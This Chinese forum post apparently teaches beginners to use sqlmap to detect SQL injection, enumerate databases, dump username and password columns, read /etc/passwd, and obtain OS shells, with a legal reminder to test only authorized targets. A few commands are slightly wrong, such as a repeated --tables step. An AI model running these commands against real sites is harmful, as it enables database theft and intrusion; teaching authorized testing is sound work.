[工具使用] sqlmap 入门到实战:小白也能轻松搞定 SQL 注入的神器!

421 0
Honkers 2026-5-14 23:17:39 来自手机 | 显示全部楼层 |阅读模式

一、工具是啥?能干点啥?

sqlmap 就是 SQL 注入的 “自动化收割机”,核心功能是自动检测和利用目标网站的 SQL 注入漏洞,还能直接拖库、破解数据库密码,在渗透测试的信息收集阶段堪称 “封神工具”—— 不用手动写复杂 SQL 语句,小白也能快速挖出网站的数据库漏洞。

二、快速开始:最简上手流程

1. 安装

Kali 系统

Kali 默认自带 sqlmap!打开终端直接输入sqlmap,出现版本信息就说明能用;如果没找到,输入sudo apt-get install sqlmap一键安装,等待几秒就搞定。

Windows系统(需要先安装python环境,自行去网上找一下):

(1)下载地址:官方网站:https://sqlmap.org/ ,官网可直接下载最新的压缩包(zip格式),页面布局清晰,无需额外找资源,适合追求官方原版的用户。

  1. 解压下在后的压缩包
    运行:在sqlmap所在文件夹里面的搜索框里输入:cmd点击回车

2. 最简单的命令

执行命令:

python sqlmap.py -u "http://site.com/page.php?id=1"

然后一直回车就行

可以看到,检测出存在sql注入漏洞:布尔盲注和时间盲注。

命令 & 结果解读

命令含义:-u指定要测试的 URL,sqlmap 会自动检测这个 URL 的id参数是否存在 SQL 注入漏洞。

结果解读:终端会一步步输出检测过程,最后如果显示 “Parameter 'id' is vulnerable”,说明找到注入点了!还会列出漏洞类型(比如 Union query SQLi),新手能立刻感受到 “挖到漏洞” 的成就感。

三、入门必学:核心命令详解

1. 命令

(1):查询数据库名

运行:

python sqlmap.py -u "http://site.com/page.php?id=1" -dbs

一共爆出3个库,可以进去一个个的看里面有什么。

为啥用它:找到注入点后,第一步就是搞清楚目标有哪些数据库,--dbs参数能直接列出所有可用数据库,是信息收集的关键一步。

结果咋看:输出会显示 “available databases [X]”,下面列出数据库名称。

2. 命令 2:查询指定数据库的表名

运行

python sqlmap.py -u "http://site.com/page.php?id=1" -D xxxx --tables

为啥用它:知道数据库名后,下一步就是找关键表(比如用户表、密码表),-D指定要查询的数据库(这里是 test_db),--tables列出该数据库下的所有表。

结果咋看:输出会显示 “Database: test_db”,下面列出表名,比如 “user”“order”,“user” 表基本是必查的,里面大概率存着用户名和密码。

3. 命令 3:查询表中字段(列名)

运行

python sqlmap.py -u "http://site.com/page.php?id=1" -D xxxx --tables

:找到用户表后,需要知道表中有哪些字段(比如用户名、密码、手机号),-T指定表名(这里是 user),--columns列出表中的所有字段。

结果咋看:输出会显示 “Table: user”,下面列出字段名和类型,比如 “id (int)”“username (varchar)”“password (varchar)”,这三个就是用户表的核心字段。

sqlmap 常用参数表:

参数名称

说明

使用示例

-u, --url

指定目标URL

python sqlmap -u "http://site.com/page?id=1"

-m

从文件读取多个目标URL

python sqlmap -m targets.txt

-r

从HTTP请求文件读取目标

python sqlmap -r request.txt

--data

指定POST数据

python sqlmap -u "http://site.com" --data="user=admin&pass=test"

--method

指定HTTP方法

python sqlmap -u "http://site.com" --method=PUT

--cookie

指定Cookie

python sqlmap -u "http://site.com" --cookie="session=abc123"

--user-agent

指定User-Agent

python sqlmap -u "http://site.com" --user-agent="Mozilla/5.0"

--random-agent

使用随机User-Agent

python sqlmap -u "http://site.com" --random-agent

--referer

指定Referer头

python sqlmap -u "http://site.com" --referer="http://google.com"

--level

测试等级(1-5)

python sqlmap -u "http://site.com" --level=3

--risk

测试风险等级(1-3)

python sqlmap -u "http://site.com" --risk=2

--current-user

获取当前用户

python sqlmap -u "http://site.com" --current-user

--current-db

获取当前数据库

python sqlmap -u "http://site.com" --current-db

--hostname

获取数据库主机名

python sqlmap -u "http://site.com" --hostname

--is-dba

检查是否为DBA

python sqlmap -u "http://site.com" --is-dba

--users

枚举数据库用户

python sqlmap -u "http://site.com" --users

--passwords

枚举用户密码哈希

python sqlmap -u "http://site.com" --passwords

--privileges

枚举用户权限

python sqlmap -u "http://site.com" --privileges

--dbs

枚举数据库

python sqlmap -u "http://site.com" --dbs

--tables

枚举表

python sqlmap -u "http://site.com" -D dbname --tables

--columns

枚举列

python sqlmap -u "http://site.com" -D dbname -T tblname --columns

--dump

导出表数据

python sqlmap -u "http://site.com" -D dbname -T tblname --dump

--dump-all

导出所有数据库数据

python sqlmap -u "http://site.com" --dump-all

-D

指定数据库

python sqlmap -u "http://site.com" -D mysql

-T

指定表

python sqlmap -u "http://site.com" -D mysql -T user

-C

指定列

python sqlmap -u "http://site.com" -D mysql -T user -C user,password

--file-read

读取后端文件

python sqlmap -u "http://site.com" --file-read="/etc/passwd"

--file-write

写入文件到后端

python sqlmap -u "http://site.com" --file-write="local.txt" --file-dest="/tmp/remote.txt"

--os-smbrelay

一键获取OOB shell,meterpreter或VNC

python sqlmap -u "http://site.com" --os-smbrelay

--flush-session

清空会话文件

python sqlmap -u "http://site.com" --flush-session

--eval

请求前执行Python代码

python sqlmap -u "http://site.com" --eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

四、进阶实战:高手这么玩

组合技 1:基础检测组合

运行:

sqlmap -u "http://site.com/page.php?id=1" --batch --level=3 --risk=2

这个命令是sqlmap中最经典、最实用的组合之一

有--batch时:自动选择Y,一路执行到底

适用场景:批量扫描、自动化脚本、不想手动交互的情况

组合技 2:一键拖库 + 保存结果

运行

Python sqlmap -u "http://site.com/page.php?id=1" -D xxxx -T admin -C username,password --dump -o --output-dir /root/sqlmap_result

核心逻辑:-C指定要导出的字段(这里是 username 和 password),--dump直接导出字段中的数据(比如用户名和密码明文 / 加密值),-o开启优化模式(加快扫描速度),--output-dir指定结果保存路径,方便后续分析。

实战用途:渗透测试中拿到用户密码后,可进一步尝试登录后台,这是最直接的利用方式。

组合技 3:带 Cookie 的注入测试

sqlmap -u "http://site.com/page.php" --cookie "user_id=123; session=abcdef123456; uid=456" --dbs

核心逻辑:很多网站需要登录后才能访问,--cookie参数传入登录后的 Cookie 信息,sqlmap 会带着 Cookie 去检测漏洞(比如登录后的个人中心页面),解决 “未登录无法扫描” 的问题。

实战用途:针对需要权限验证的页面,用这个命令能挖出更多后台漏洞。

五、避坑指南:新手注意事项

1. 常见坑 1:扫描时提示 “连接超时”

原因:目标网站有防火墙拦截,或者网络不稳定,导致 sqlmap 无法和目标建立连接。

解决:加--delay 1参数(每次请求间隔 1 秒,降低扫描速度),再加上--random-agent(模拟浏览器请求头),命令示例:sqlmap -u "URL" --dbs --delay 1 --random-agent。

2. 常见坑 2:导出数据时显示 “没有权限”

原因:sqlmap 使用的数据库用户权限太低,无法读取某些表的数据。

解决:加--privileges参数先查询当前用户权限,若权限不足,尝试用--os-shell获取系统 shell(需高权限),或换其他注入点测试。

3. 法律 & 道德提醒

重中之重! sqlmap 只能用于自己搭建的靶场、授权的测试项目!未获得书面授权就扫描他人网站、窃取数据库数据,属于严重违法行为,轻则罚款,重则坐牢!渗透测试必须在合法授权范围内进行,切勿触碰法律红线!

六、总结与资源

sqlmap 是 SQL 注入的 “自动化利器”,新手先掌握 “找注入点→查库→查表→导出数据” 的核心流程,再尝试进阶组合技,就能满足大部分基础渗透测试需求。

官方文档(最权威):https://sqlmap.org/documentation.html

靶场推荐:SQLi-Labs(本地搭建,适合新手练手)。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行